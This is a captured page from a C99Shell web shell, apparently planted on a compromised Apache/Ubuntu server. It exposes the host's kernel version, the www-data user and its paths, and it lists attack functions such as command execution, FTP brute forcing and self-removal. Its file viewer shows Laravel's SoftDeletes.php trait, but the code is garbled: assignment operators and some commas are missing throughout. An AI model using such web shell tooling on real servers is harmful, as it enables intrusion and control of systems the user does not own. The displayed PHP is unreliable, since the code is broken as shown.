!C99Shell v. 2.5 [PHP 8 Update] [24.05.2025]!

Software: Apache/2.4.41 (Ubuntu). PHP/8.0.30 

uname -a: Linux apirnd 5.4.0-204-generic #224-Ubuntu SMP Thu Dec 5 13:38:28 UTC 2024 x86_64 

uid=33(www-data) gid=33(www-data) groups=33(www-data) 

Safe-mode: OFF (not secure)

/home/ccl/vendor/illuminate/database/Eloquent/   drwxrwxr-x
Free 12.99 GB of 57.97 GB (22.4%)
Home    Back    Forward    UPDIR    Refresh    Search    Buffer    Encoder    Tools    Proc.    FTP brute    Sec.    SQL    PHP-code    Update    Self remove    Logout    


Viewing file:     SoftDeletes.php (3.97 KB)      -rw-rw-r--
Select action/file-type:
(+) | (+) | (+) | Code (+) | Session (+) | (+) | SDB (+) | (+) | (+) | (+) | (+) | (+) |
<?php

namespace Illuminate\Database\Eloquent;

trait 
SoftDeletes
{
    
/**
     * Indicates if the model is currently force deleting.
     *
     * @var bool
     */
    
protected $forceDeleting false;

    
/**
     * Boot the soft deleting trait for a model.
     *
     * @return void
     */
    
public static function bootSoftDeletes()
    {
        static::
addGlobalScope(new SoftDeletingScope);
    }

    
/**
     * Force a hard delete on a soft deleted model.
     *
     * @return bool|null
     */
    
public function forceDelete()
    {
        
$this->forceDeleting true;

        
$deleted $this->delete();

        
$this->forceDeleting false;

        return 
$deleted;
    }

    
/**
     * Perform the actual delete query on this model instance.
     *
     * @return mixed
     */
    
protected function performDeleteOnModel()
    {
        if (
$this->forceDeleting) {
            
$this->exists false;

            return 
$this->newModelQuery()->where($this->getKeyName(), $this->getKey())->forceDelete();
        }

        return 
$this->runSoftDelete();
    }

    
/**
     * Perform the actual delete query on this model instance.
     *
     * @return void
     */
    
protected function runSoftDelete()
    {
        
$query $this->newModelQuery()->where($this->getKeyName(), $this->getKey());

        
$time $this->freshTimestamp();

        
$columns = [$this->getDeletedAtColumn() => $this->fromDateTime($time)];

        
$this->{$this->getDeletedAtColumn()} = $time;

        if (
$this->timestamps && ! is_null($this->getUpdatedAtColumn())) {
            
$this->{$this->getUpdatedAtColumn()} = $time;

            
$columns[$this->getUpdatedAtColumn()] = $this->fromDateTime($time);
        }

        
$query->update($columns);
    }

    
/**
     * Restore a soft-deleted model instance.
     *
     * @return bool|null
     */
    
public function restore()
    {
        
// If the restoring event does not return false, we will proceed with this
        // restore operation. Otherwise, we bail out so the developer will stop
        // the restore totally. We will clear the deleted timestamp and save.
        
if ($this->fireModelEvent('restoring') === false) {
            return 
false;
        }

        
$this->{$this->getDeletedAtColumn()} = null;

        
// Once we have saved the model, we will fire the "restored" event so this
        // developer will do anything they need to after a restore operation is
        // totally finished. Then we will return the result of the save call.
        
$this->exists true;

        
$result $this->save();

        
$this->fireModelEvent('restored'false);

        return 
$result;
    }

    
/**
     * Determine if the model instance has been soft-deleted.
     *
     * @return bool
     */
    
public function trashed()
    {
        return ! 
is_null($this->{$this->getDeletedAtColumn()});
    }

    
/**
     * Register a restoring model event with the dispatcher.
     *
     * @param  \Closure|string  $callback
     * @return void
     */
    
public static function restoring($callback)
    {
        static::
registerModelEvent('restoring'$callback);
    }

    
/**
     * Register a restored model event with the dispatcher.
     *
     * @param  \Closure|string  $callback
     * @return void
     */
    
public static function restored($callback)
    {
        static::
registerModelEvent('restored'$callback);
    }

    
/**
     * Determine if the model is currently force deleting.
     *
     * @return bool
     */
    
public function isForceDeleting()
    {
        return 
$this->forceDeleting;
    }

    
/**
     * Get the name of the "deleted at" column.
     *
     * @return string
     */
    
public function getDeletedAtColumn()
    {
        return 
defined('static::DELETED_AT') ? static::DELETED_AT 'deleted_at';
    }

    
/**
     * Get the fully qualified "deleted at" column.
     *
     * @return string
     */
    
public function getQualifiedDeletedAtColumn()
    {
        return 
$this->qualifyColumn($this->getDeletedAtColumn());
    }
}

:: Command execute ::

Enter:
 
Select:
 

:: Search ::
  - regexp 

:: Upload ::
 
[ Read-Only ]

:: Make Dir ::
 
[ Read-Only ]
:: Make File ::
 
[ Read-Only ]

:: Go Dir ::
 
:: Go File ::
 

--[ c99shell v. 2.5 [PHP 8 Update] [24.05.2025] | Generation time: 0.0061 ]--